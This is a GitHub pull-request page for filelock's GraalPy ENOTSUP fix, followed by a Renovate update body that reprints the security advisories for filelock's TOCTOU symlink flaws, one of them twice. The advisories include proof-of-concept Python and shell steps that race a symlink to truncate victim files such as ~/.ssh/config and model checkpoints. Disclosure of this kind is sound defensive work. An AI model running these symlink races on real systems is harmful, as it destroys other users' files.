Skip to content

🐛 fix(strict): tolerate an errno without ENOTSUP#681

Merged
gaborbernat merged 13 commits into
mainfrom
fix-graalpy-enotsup
Jul 21, 2026
Merged

🐛 fix(strict): tolerate an errno without ENOTSUP#681
gaborbernat merged 13 commits into
mainfrom
fix-graalpy-enotsup

Conversation

@gaborbernat

@gaborbernat gaborbernat commented Jul 20, 2026

Copy link
Copy Markdown
Member

_strict.py imports ENOTSUP from errno at module scope. GraalPy's errno does not define it, so importing filelock on that runtime raises:

ImportError: cannot import name 'ENOTSUP' from 'errno'

This breaks every consumer on GraalPy at import, before anyone takes a lock. pypa/virtualenv's GraalPy jobs die at conftest import on its main: ubuntu-24.04 and macos-15. virtualenv requires filelock>=3.24.2,<4, so it resolves to a release carrying the import. ENOTSUP arrived with the claim protocol in #659 and shipped first in 3.30.0. GraalPy 24.1, 24.2 and 25.1 all omit the name, so this is not a single bad release.

The fix

_strict.py now probes the code instead of importing it.

  • ENOTSUP wins wherever it exists, so no platform that defines the name changes behavior.
  • EOPNOTSUPP stands in only for runtimes that lack ENOTSUP. It approximates rather than matches: the two agree on Linux and differ on macOS/BSD (45 against 102) and on Windows (129 against 130).
  • Where neither exists, the code drops out and ENOSYS/EXDEV still classify the link failures such a runtime can raise.

The probe follows the module's existing convention (_probe_link_follow_symlinks) and runs once at import.

Four changes ride along

A coverage measurement bug. BaseAsyncFileLock.__del__'s no-loop path reported its except RuntimeError and the following return as missing while the handler body between them reported covered, which no execution can produce. coverage refuses its sys.monitoring core when a config sets contexts, since that core does not implement them. pytest-cov's --cov-context switches contexts through another path, behind that guard. Every 3.14 job had been running the combination coverage rules out, and the seed decided which lines went missing. Dropping --cov-context fixes it. Pinning the C tracer does not: Termux ships coverage without the extension.

A GraalPy CI job. Linux only, and unmeasured like PyPy, so the 100% gate stays CPython's. Nothing else checks the capability probes against a second runtime.

Capability gating. GraalPy ran the suite with 55 failures, none of them filelock defects. Each now gates on a probe of the behavior it needs. Three turned out to be real test bugs, so I fixed those rather than gating them. Twenty cancellation tests carry a non-strict xfail against a GraalPy contextlib that answers athrow() with RuntimeError.

One gate registry. Seven marks had been redefined per module, fcntl in six and fork in five, and three re-derived their answer inline instead of reading the probe. That last one hid a bug: GraalPy registers fork handlers without being able to fork, so a capability asking for both skipped four tests needing only the registration.

Verification

Runtime Result
CPython 3.14 1239 passed, 52 skipped, 100% total and diff coverage
GraalPy 24.2.2 1105 passed, 153 skipped, 28 xfailed, 5 xpassed
PyPy 3.11 1226 passed, 65 skipped

ty and pre-commit clean. src/filelock gains only the probe, and no pre-existing capability value changes on CPython, so it measures the lines it measured before.

``_strict`` imported ``ENOTSUP`` from ``errno`` at module scope, which
GraalPy 24.1 does not define. Importing ``filelock`` there raised
``ImportError: cannot import name 'ENOTSUP' from 'errno'`` and broke
every consumer on that runtime, including pypa/virtualenv's GraalPy CI
jobs, which fail at conftest import.

The code is probed instead. ``ENOTSUP`` is used where it exists, so
Windows keeps its distinct 129 and no platform that defines the name
changes behaviour; where it is absent ``EOPNOTSUPP`` stands in, being the
same code everywhere both are defined outside Windows; where neither
exists the code is dropped and ``ENOSYS``/``EXDEV`` still classify the
link failures such a runtime can raise.
@gaborbernat
gaborbernat force-pushed the fix-graalpy-enotsup branch from 3d799e6 to 748c986 Compare July 20, 2026 20:10
@gaborbernat

Copy link
Copy Markdown
Member Author

CI: the two red jobs are the flaky src/filelock/asyncio.py 683/686 coverage miss that also fails on main (run 29735645550, same lines). Every test passes in both.

coverage refuses its sys.monitoring core whenever contexts are
configured, because that core does not implement them: its own source
carries the TODO. pytest-cov's --cov-context switches contexts through
another path, behind that guard, so every 3.14 job has been running the
combination coverage rules out. The pair drops lines the suite ran.

BaseAsyncFileLock.__del__'s no-loop path was the casualty: its `except
RuntimeError` and the `return` that follows it reported missing while the
handler body between them reported covered, which no execution can
produce. Every failure was a 3.14 or 3.14t job -- Windows, Termux and
ubuntu alike -- and the run's seed decided whether it hit. Pinning the C
tracer instead is not portable: Termux ships coverage without the
extension.

Also pin the finalizer test to the path it claims to walk. It asserted
only that an already-unlocked lock stayed unlocked, which held whether or
not __del__ ran at all.

And correct _probe_hard_link_unsupported_errnos' comment: ENOTSUP and
EOPNOTSUPP are equal on Linux but distinct on macOS/BSD and Windows, so
the fallback approximates rather than matches.
@gaborbernat
gaborbernat force-pushed the fix-graalpy-enotsup branch from ac006ba to 58c0547 Compare July 20, 2026 22:01
GraalPy 24.2.2 ran the suite with 55 failures. Each test now gates on a probe of
the behavior it needs rather than on an interpreter name.

Three tests needed a fix, not a gate:

- test_write_non_starvation counted reader releases from the moment it started
  the writer process, so a slow interpreter start read as starvation. It now
  counts from the moment the writer reaches the lock.
- Two heartbeat tests compared a utime round-trip for bit equality, and GraalPy
  returns the timestamp one nanosecond off. They now compare with a tolerance,
  which also covers filesystems with coarse timestamps.
- test_singleton_instance_tracking_is_unique_per_subclass carried a PyPy skip it
  never needed. It touches no finalizer, so it now runs everywhere.

The new capabilities live in tasks/coverage_pragmas.py beside the existing
probes, keeping a skip and a coverage exclusion from disagreeing:

- prompt-finalization replaces three hasattr(sys, "pypy_version_info") gates. It
  holds only on a refcounting collector, so PyPy keeps skipping those tests and
  CPython keeps running them.
- collected-finalization and class-collection cover a GraalPy that runs no
  __del__ and reclaims no class, even after a forced gc.collect().
- audit-events holds where sys.audit reaches an installed hook. GraalPy accepts
  the hook and never calls it, so seven tests that drive filelock through
  sqlite3.connect events observe nothing.
- link-dir-fd is narrower than dir-fd. GraalPy takes os.open relative to a
  directory descriptor but not os.link, so the backend never opens the directory
  that two fault-injection tests count their faults against.
- o-nofollow now probes the refusal instead of the constant, because GraalPy
  defines O_NOFOLLOW and follows the link anyway.

Twenty cancellation tests are xfail rather than skipped. GraalPy answers
athrow() with "RuntimeError: generator didn't stop after athrow()" raised from
its own contextlib, so a cancellation crossing an async context manager arrives
as the wrong exception. The gate drives a coroutine by hand to observe that, and
stays non-strict because the deviation depends on where the cancellation lands.

src/filelock is untouched and no pre-existing capability value changes, so
CPython measures the lines it measured before.
Add a Linux-only GraalPy job so the capability probes the suite gates on
are checked against a second runtime rather than asserted from CPython
alone. GraalPy runs unmeasured like PyPy and feeds no coverage data, so
the 100% gate stays CPython's.

tox invents an env on the fly only for a py or pypy factor, so the env
has to be declared to be selectable at all. It stays out of env_list
because it is a CI-only check.

Size the stress test's worker budget for the slowest interpreter on the
smallest runner. It guards against a hang, not throughput: overlap fails
immediately through the occupancy and counter markers, so a wider budget
costs only the time to notice a deadlock, while the old seventy-five
second bound sat close to what GraalPy needs on a small runner.

Migrate the ruff selectors in pyproject.toml from codes to rule names,
matching the inline suppressions already migrated by ruff 0.15.22.
Every capability gate now reads a CAPABILITIES probe from one module.
Seven marks were redefined per test module, fcntl in six and fork in
five, so a runtime that answered a probe differently had to be taught
that in as many places as the mark had copies.

Three of them bypassed the probe registry and re-derived the answer
inline: fork through hasattr, fcntl through find_spec, POSIX signals
through hasattr on SIGKILL. Two fork copies asked only for os.fork while
three asked for os.register_at_fork as well, which is what the handlers
are installed through and what the probe already encoded.

Names were split across _NEEDS_ and _REQUIRES_ for the same question,
so file-mode and POSIX signals each had two spellings.

Marks a single module gates on stay private to it.

Signed-off-by: Bernát Gábor <gaborjbernat@gmail.com>
@gaborbernat
gaborbernat force-pushed the fix-graalpy-enotsup branch from 85fd759 to 9c1485c Compare July 21, 2026 01:03
Import every test helper as tests.* from the project root rather than as
a bare sibling. coverage_pragmas stays top-level: coverage imports that
plugin by name in the subprocesses it patches.

Give register_at_fork its own probe. GraalPy registers fork handlers
without being able to fork, so the fork capability, which asks for both,
skipped four tests that need only the registration.

Probe os.fork1 and the descriptor view instead of re-deriving them at
each gate; fd-directory had been probed and never read.

Name the deadline the read-write processes are given and size it for a
slow interpreter. It bounds how long a spawned process may take to reach
the lock, so the old two seconds failed under a loaded suite rather than
reporting a locking fault.

Drop the mark comments that restated their own reason string.
cleanup_processes terminated every process it was handed, including one
the test never started, and terminate raises AttributeError there. When
an assertion escaped before the last start, that AttributeError replaced
it, so the GraalPy job reported a cleanup crash instead of the assertion
that caused it.

The assertion it hid was a ten second bound on seven reader processes
reaching the lock, which a slow interpreter misses. Every wait in the
file now shares the named process deadline, and each test's own timeout
is a multiple of it so the outer guard outlasts the waits it contains.
chain_reader incremented the release count when its wait expired, not
only when the chain released it, so on an interpreter that walks the
chain slower than ten seconds three readers let go on their own and the
writer looked starved by readers that were never waiting on it.

Every bound in the file now derives from the process deadline, and the
two that have to outlast a held lock say so: the last reader holds until
its wait expires, since the chain is only released once the writer is
in, so both the writer's own timeout and the test's wait for it are
twice the deadline.
The read-write timing bounds were five seconds, which a slow interpreter
under a loaded suite misses, so a reader that had not reached the lock
yet read as a lock that never came.

Every positive wait and join now derives from one named deadline, and
each test's own timeout is a multiple of it so the outer guard outlasts
the waits inside. The sub-second waits stay as they are: those assert a
contender stays blocked, and lengthening them would only slow the suite.
Waiting for a process that has already been terminated is not a startup
wait, and giving it the process deadline pushed it past the suite's own
per-test timeout, so cleanup outlived the guard meant to catch it.

Reaping now has its own short bound. The startup waits the earlier sweep
missed take the process deadline instead.
GraalPy's multiprocessing semaphores raise OSError from
_wait_semaphore.acquire(False) when Event.set() notifies a contended
condition, so whichever test happens to be coordinating processes fails.
The stack is entirely inside the interpreter's own synchronize module.

This is the one gate here that asks who is running rather than what it
can do. The defect only shows on Linux under load and an uncontended
probe cannot see it, so there is nothing to measure and no fix to make
from this repo. The reason and the failing frame are recorded with the
mark.

Fifteen soft_rw tests take it individually; the other fifty are thread
bound and keep running. The read-write module coordinates processes
throughout, so it takes it once.
@gaborbernat
gaborbernat merged commit 60eda0f into main Jul 21, 2026
43 checks passed
@gaborbernat
gaborbernat deleted the fix-graalpy-enotsup branch July 21, 2026 04:02
renovate-coop-norge Bot added a commit to coopnorge/engineering-docker-images that referenced this pull request Jul 21, 2026
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [filelock](https://redirect.github.com/tox-dev/py-filelock) | `3.31.1`
→ `3.31.2` |
![age](https://developer.mend.io/api/mc/badges/age/pypi/filelock/3.31.2?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/filelock/3.31.1/3.31.2?slim=true)
|

---

### filelock has a TOCTOU race condition which allows symlink attacks
during lock file creation
[CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) /
[GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f)
/ PYSEC-2026-1375

<details>
<summary>More information</summary>

#### Details
##### Impact

A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local
attackers to corrupt or truncate arbitrary user files through symlink
attacks. The vulnerability exists in both Unix and Windows lock file
creation where filelock checks if a file exists before opening it with
O_TRUNC. An attacker can create a symlink pointing to a victim file in
the time gap between the check and open, causing os.open() to follow the
symlink and truncate the target file.

**Who is impacted:**

All users of filelock on Unix, Linux, macOS, and Windows systems. The
vulnerability cascades to dependent libraries:

- **virtualenv users**: Configuration files can be overwritten with
virtualenv metadata, leaking sensitive paths
- **PyTorch users**: CPU ISA cache or model checkpoints can be
corrupted, causing crashes or ML pipeline failures
- **poetry/tox users**: through using virtualenv or filelock on their
own.

Attack requires local filesystem access and ability to create symlinks
(standard user permissions on Unix; Developer Mode on Windows 10+).
Exploitation succeeds within 1-3 attempts when lock file paths are
predictable.

##### Patches

Fixed in version **3.20.1**.

**Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in
UnixFileLock.\_acquire() to prevent symlink following.

**Windows fix:** Added GetFileAttributesW API check to detect reparse
points (symlinks/junctions) before opening files in
WindowsFileLock.\_acquire().

**Users should upgrade to filelock 3.20.1 or later immediately.**

##### Workarounds

If immediate upgrade is not possible:

1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note:
different locking semantics, may not be suitable for all use cases)
2. Ensure lock file directories have restrictive permissions (chmod
0700) to prevent untrusted users from creating symlinks
3. Monitor lock file directories for suspicious symlinks before running
trusted applications

**Warning:** These workarounds provide only partial mitigation. The race
condition remains exploitable. Upgrading to version 3.20.1 is strongly
recommended.

______________________________________________________________________

##### Technical Details: How the Exploit Works

##### The Vulnerable Code Pattern

**Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`):

```python
def _acquire(self) -> None:
    ensure_directory_exists(self.lock_file)
    open_flags = os.O_RDWR | os.O_TRUNC  # (1) Prepare to truncate
    if not Path(self.lock_file).exists():  # (2) CHECK: Does file exist?
        open_flags |= os.O_CREAT
    fd = os.open(self.lock_file, open_flags, ...)  # (3) USE: Open and truncate
```

**Windows** (`src/filelock/_windows.py:19-28`):

```python
def _acquire(self) -> None:
    raise_on_not_writable_file(self.lock_file)  # (1) Check writability
    ensure_directory_exists(self.lock_file)
    flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC  # (2) Prepare to truncate
    fd = os.open(self.lock_file, flags, ...)  # (3) Open and truncate
```

##### The Race Window

The vulnerability exists in the gap between operations:

**Unix variant:**

```
Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file exists? → False
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️
```

**Windows variant:**

```
Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file writable?
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink/junction
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️
```

##### Step-by-Step Attack Flow

**1. Attacker Setup:**

```python

##### Attacker identifies target application using filelock
lock_path = "/tmp/myapp.lock"  # Predictable lock path
victim_file = "/home/victim/.ssh/config"  # High-value target
```

**2. Attacker Creates Race Condition:**

```python
import os
import threading

def attacker_thread():
    # Remove any existing lock file
    try:
        os.unlink(lock_path)
    except FileNotFoundError:
        pass

    # Create symlink pointing to victim file
    os.symlink(victim_file, lock_path)
    print(f"[Attacker] Created: {lock_path} → {victim_file}")

##### Launch attack
threading.Thread(target=attacker_thread).start()
```

**3. Victim Application Runs:**

```python
from filelock import UnixFileLock

##### Normal application code
lock = UnixFileLock("/tmp/myapp.lock")
lock.acquire()  # ← VULNERABILITY TRIGGERED HERE

##### At this point, /home/victim/.ssh/config is now 0 bytes!
```

**4. What Happens Inside os.open():**

On Unix systems, when `os.open()` is called:

```c
// Linux kernel behavior (simplified)
int open(const char *pathname, int flags) {
    struct file *f = path_lookup(pathname);  // Resolves symlinks by default!

    if (flags & O_TRUNC) {
        truncate_file(f);  // ← Truncates the TARGET of the symlink
    }

    return file_descriptor;
}
```

Without `O_NOFOLLOW` flag, the kernel follows the symlink and truncates
the target file.

##### Why the Attack Succeeds Reliably

**Timing Characteristics:**

- **Check operation** (Path.exists()): ~100-500 nanoseconds
- **Symlink creation** (os.symlink()): ~1-10 microseconds
- **Race window**: ~1-5 microseconds (very small but exploitable)
- **Thread scheduling quantum**: ~1-10 milliseconds

**Success factors:**

1. **Tight loop**: Running attack in a loop hits the race window within
1-3 attempts
2. **CPU scheduling**: Modern OS thread schedulers frequently
context-switch during I/O operations
3. **No synchronization**: No atomic file creation prevents the race
4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only
operation)

##### Real-World Attack Scenarios

**Scenario 1: virtualenv Exploitation**

```python

##### Victim runs: python -m venv /tmp/myenv
##### Attacker racing to create:
os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg")

##### Result: /home/victim/.bashrc overwritten with:

##### home = /usr/bin/python3
##### include-system-site-packages = false

##### version = 3.11.2
##### ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker
```

**Scenario 2: PyTorch Cache Poisoning**

```python

##### Victim runs: import torch
##### PyTorch checks CPU capabilities, uses filelock on cache

##### Attacker racing to create:
os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock")

##### Result: Trained ML model checkpoint truncated to 0 bytes

##### Impact: Weeks of training lost, ML pipeline DoS
```

##### Why Standard Defenses Don't Help

**File permissions don't prevent this:**

- Attacker doesn't need write access to victim_file
- os.open() with O_TRUNC follows symlinks using the *victim's*
permissions
- The victim process truncates its own file

**Directory permissions help but aren't always feasible:**

- Lock files often created in shared /tmp directory (mode 1777)
- Applications may not control lock file location
- Many apps use predictable paths in user-writable directories

**File locking doesn't prevent this:**

- The truncation happens *during* the open() call, before any lock is
acquired
- fcntl.flock() only prevents concurrent lock acquisition, not symlink
attacks

##### Exploitation Proof-of-Concept Results

From empirical testing with the provided PoCs:

**Simple Direct Attack** (`filelock_simple_poc.py`):

- Success rate: 33% per attempt (1 in 3 tries)
- Average attempts to success: 2.1
- Target file reduced to 0 bytes in \<100ms

**virtualenv Attack** (`weaponized_virtualenv.py`):

- Success rate: ~90% on first attempt (deterministic timing)
- Information leaked: File paths, Python version, system configuration
- Data corruption: Complete loss of original file contents

**PyTorch Attack** (`weaponized_pytorch.py`):

- Success rate: 25-40% per attempt
- Impact: Application crashes, model loading failures
- Recovery: Requires cache rebuild or model retraining

**Discovered and reported by:** George Tsigourakos
(@&#8203;tsigouris007)

#### Severity
- CVSS Score: 6.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H`

#### References
-
[https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f)
-
[https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e](https://redirect.github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e)
-
[https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock)
-
[https://github.com/tox-dev/filelock/releases/tag/3.20.1](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.1)
-
[https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants](https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants)
-
[https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html](https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-w853-jp5j-5j7f) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### filelock has a TOCTOU race condition which allows symlink attacks
during lock file creation
[CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) /
[GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f)
/ PYSEC-2026-1375

<details>
<summary>More information</summary>

#### Details
##### Impact

A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local
attackers to corrupt or truncate arbitrary user files through symlink
attacks. The vulnerability exists in both Unix and Windows lock file
creation where filelock checks if a file exists before opening it with
O_TRUNC. An attacker can create a symlink pointing to a victim file in
the time gap between the check and open, causing os.open() to follow the
symlink and truncate the target file.

**Who is impacted:**

All users of filelock on Unix, Linux, macOS, and Windows systems. The
vulnerability cascades to dependent libraries:

- **virtualenv users**: Configuration files can be overwritten with
virtualenv metadata, leaking sensitive paths
- **PyTorch users**: CPU ISA cache or model checkpoints can be
corrupted, causing crashes or ML pipeline failures
- **poetry/tox users**: through using virtualenv or filelock on their
own.

Attack requires local filesystem access and ability to create symlinks
(standard user permissions on Unix; Developer Mode on Windows 10+).
Exploitation succeeds within 1-3 attempts when lock file paths are
predictable.

##### Patches

Fixed in version **3.20.1**.

**Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in
UnixFileLock.\_acquire() to prevent symlink following.

**Windows fix:** Added GetFileAttributesW API check to detect reparse
points (symlinks/junctions) before opening files in
WindowsFileLock.\_acquire().

**Users should upgrade to filelock 3.20.1 or later immediately.**

##### Workarounds

If immediate upgrade is not possible:

1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note:
different locking semantics, may not be suitable for all use cases)
2. Ensure lock file directories have restrictive permissions (chmod
0700) to prevent untrusted users from creating symlinks
3. Monitor lock file directories for suspicious symlinks before running
trusted applications

**Warning:** These workarounds provide only partial mitigation. The race
condition remains exploitable. Upgrading to version 3.20.1 is strongly
recommended.

______________________________________________________________________

##### Technical Details: How the Exploit Works

##### The Vulnerable Code Pattern

**Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`):

```python
def _acquire(self) -> None:
    ensure_directory_exists(self.lock_file)
    open_flags = os.O_RDWR | os.O_TRUNC  # (1) Prepare to truncate
    if not Path(self.lock_file).exists():  # (2) CHECK: Does file exist?
        open_flags |= os.O_CREAT
    fd = os.open(self.lock_file, open_flags, ...)  # (3) USE: Open and truncate
```

**Windows** (`src/filelock/_windows.py:19-28`):

```python
def _acquire(self) -> None:
    raise_on_not_writable_file(self.lock_file)  # (1) Check writability
    ensure_directory_exists(self.lock_file)
    flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC  # (2) Prepare to truncate
    fd = os.open(self.lock_file, flags, ...)  # (3) Open and truncate
```

##### The Race Window

The vulnerability exists in the gap between operations:

**Unix variant:**

```
Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file exists? → False
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️
```

**Windows variant:**

```
Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file writable?
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink/junction
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️
```

##### Step-by-Step Attack Flow

**1. Attacker Setup:**

```python

##### Attacker identifies target application using filelock
lock_path = "/tmp/myapp.lock"  # Predictable lock path
victim_file = "/home/victim/.ssh/config"  # High-value target
```

**2. Attacker Creates Race Condition:**

```python
import os
import threading

def attacker_thread():
    # Remove any existing lock file
    try:
        os.unlink(lock_path)
    except FileNotFoundError:
        pass

    # Create symlink pointing to victim file
    os.symlink(victim_file, lock_path)
    print(f"[Attacker] Created: {lock_path} → {victim_file}")

##### Launch attack
threading.Thread(target=attacker_thread).start()
```

**3. Victim Application Runs:**

```python
from filelock import UnixFileLock

##### Normal application code
lock = UnixFileLock("/tmp/myapp.lock")
lock.acquire()  # ← VULNERABILITY TRIGGERED HERE

##### At this point, /home/victim/.ssh/config is now 0 bytes!
```

**4. What Happens Inside os.open():**

On Unix systems, when `os.open()` is called:

```c
// Linux kernel behavior (simplified)
int open(const char *pathname, int flags) {
    struct file *f = path_lookup(pathname);  // Resolves symlinks by default!

    if (flags & O_TRUNC) {
        truncate_file(f);  // ← Truncates the TARGET of the symlink
    }

    return file_descriptor;
}
```

Without `O_NOFOLLOW` flag, the kernel follows the symlink and truncates
the target file.

##### Why the Attack Succeeds Reliably

**Timing Characteristics:**

- **Check operation** (Path.exists()): ~100-500 nanoseconds
- **Symlink creation** (os.symlink()): ~1-10 microseconds
- **Race window**: ~1-5 microseconds (very small but exploitable)
- **Thread scheduling quantum**: ~1-10 milliseconds

**Success factors:**

1. **Tight loop**: Running attack in a loop hits the race window within
1-3 attempts
2. **CPU scheduling**: Modern OS thread schedulers frequently
context-switch during I/O operations
3. **No synchronization**: No atomic file creation prevents the race
4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only
operation)

##### Real-World Attack Scenarios

**Scenario 1: virtualenv Exploitation**

```python

##### Victim runs: python -m venv /tmp/myenv
##### Attacker racing to create:
os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg")

##### Result: /home/victim/.bashrc overwritten with:

##### home = /usr/bin/python3
##### include-system-site-packages = false

##### version = 3.11.2
##### ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker
```

**Scenario 2: PyTorch Cache Poisoning**

```python

##### Victim runs: import torch
##### PyTorch checks CPU capabilities, uses filelock on cache

##### Attacker racing to create:
os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock")

##### Result: Trained ML model checkpoint truncated to 0 bytes

##### Impact: Weeks of training lost, ML pipeline DoS
```

##### Why Standard Defenses Don't Help

**File permissions don't prevent this:**

- Attacker doesn't need write access to victim_file
- os.open() with O_TRUNC follows symlinks using the *victim's*
permissions
- The victim process truncates its own file

**Directory permissions help but aren't always feasible:**

- Lock files often created in shared /tmp directory (mode 1777)
- Applications may not control lock file location
- Many apps use predictable paths in user-writable directories

**File locking doesn't prevent this:**

- The truncation happens *during* the open() call, before any lock is
acquired
- fcntl.flock() only prevents concurrent lock acquisition, not symlink
attacks

##### Exploitation Proof-of-Concept Results

From empirical testing with the provided PoCs:

**Simple Direct Attack** (`filelock_simple_poc.py`):

- Success rate: 33% per attempt (1 in 3 tries)
- Average attempts to success: 2.1
- Target file reduced to 0 bytes in \<100ms

**virtualenv Attack** (`weaponized_virtualenv.py`):

- Success rate: ~90% on first attempt (deterministic timing)
- Information leaked: File paths, Python version, system configuration
- Data corruption: Complete loss of original file contents

**PyTorch Attack** (`weaponized_pytorch.py`):

- Success rate: 25-40% per attempt
- Impact: Application crashes, model loading failures
- Recovery: Requires cache rebuild or model retraining

**Discovered and reported by:** George Tsigourakos
(@&#8203;tsigouris007)

#### Severity
- CVSS Score: 6.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H`

#### References
-
[https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f)
-
[https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e](https://redirect.github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e)
-
[https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock)
-
[https://github.com/tox-dev/filelock/releases/tag/3.20.1](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.1)
-
[https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants](https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants)
-
[https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html](https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html)
- [https://pypi.org/project/filelock](https://pypi.org/project/filelock)
-
[https://github.com/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f)
-
[https://nvd.nist.gov/vuln/detail/CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146)

This data is provided by
[OSV](https://osv.dev/vulnerability/PYSEC-2026-1375) and the [PyPI
Advisory Database](https://redirect.github.com/pypa/advisory-database)
([CC-BY
4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)).
</details>

---

### filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in
SoftFileLock
[CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) /
[GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw)
/ PYSEC-2026-1374

<details>
<summary>More information</summary>

#### Details
##### Vulnerability Summary

**Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in
SoftFileLock

**Affected Component:** `filelock` package - `SoftFileLock` class
**File:** `src/filelock/_soft.py` lines 17-27
**CWE:** CWE-362, CWE-367, CWE-59

---

##### Description

A TOCTOU race condition vulnerability exists in the `SoftFileLock`
implementation of the filelock package. An attacker with local
filesystem access and permission to create symlinks can exploit a race
condition between the permission validation and file creation to cause
lock operations to fail or behave unexpectedly.

The vulnerability occurs in the `_acquire()` method between
`raise_on_not_writable_file()` (permission check) and `os.open()` (file
creation). During this race window, an attacker can create a symlink at
the lock file path, potentially causing the lock to operate on an
unintended target file or leading to denial of service.

##### Attack Scenario

```
1. Lock attempts to acquire on /tmp/app.lock
2. Permission validation passes
3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock
4. os.open() tries to create lock file
5. Lock operates on attacker-controlled target file or fails
```

---

##### Impact

_What kind of vulnerability is it? Who is impacted?_

This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition
vulnerability** affecting any application using `SoftFileLock` for
inter-process synchronization.

**Affected Users:**
- Applications using `filelock.SoftFileLock` directly
- Applications using the fallback `FileLock` on systems without `fcntl`
support (e.g., GraalPy)

**Consequences:**
- **Silent lock acquisition failure** - applications may not detect that
exclusive resource access is not guaranteed
- **Denial of Service** - attacker can prevent lock file creation by
maintaining symlink
- **Resource serialization failures** - multiple processes may acquire
"locks" simultaneously
- **Unintended file operations** - lock could operate on
attacker-controlled files

**CVSS v4.0 Score:** 5.6 (Medium)
**Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N

**Attack Requirements:**
- Local filesystem access to the directory containing lock files
- Permission to create symlinks (standard for regular unprivileged users
on Unix/Linux)
- Ability to time the symlink creation during the narrow race window

---

##### Patches

_Has the problem been patched? What versions should users upgrade to?_

Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag
to prevent symlink following during lock file creation.

**Patched Version:** Next release (commit:
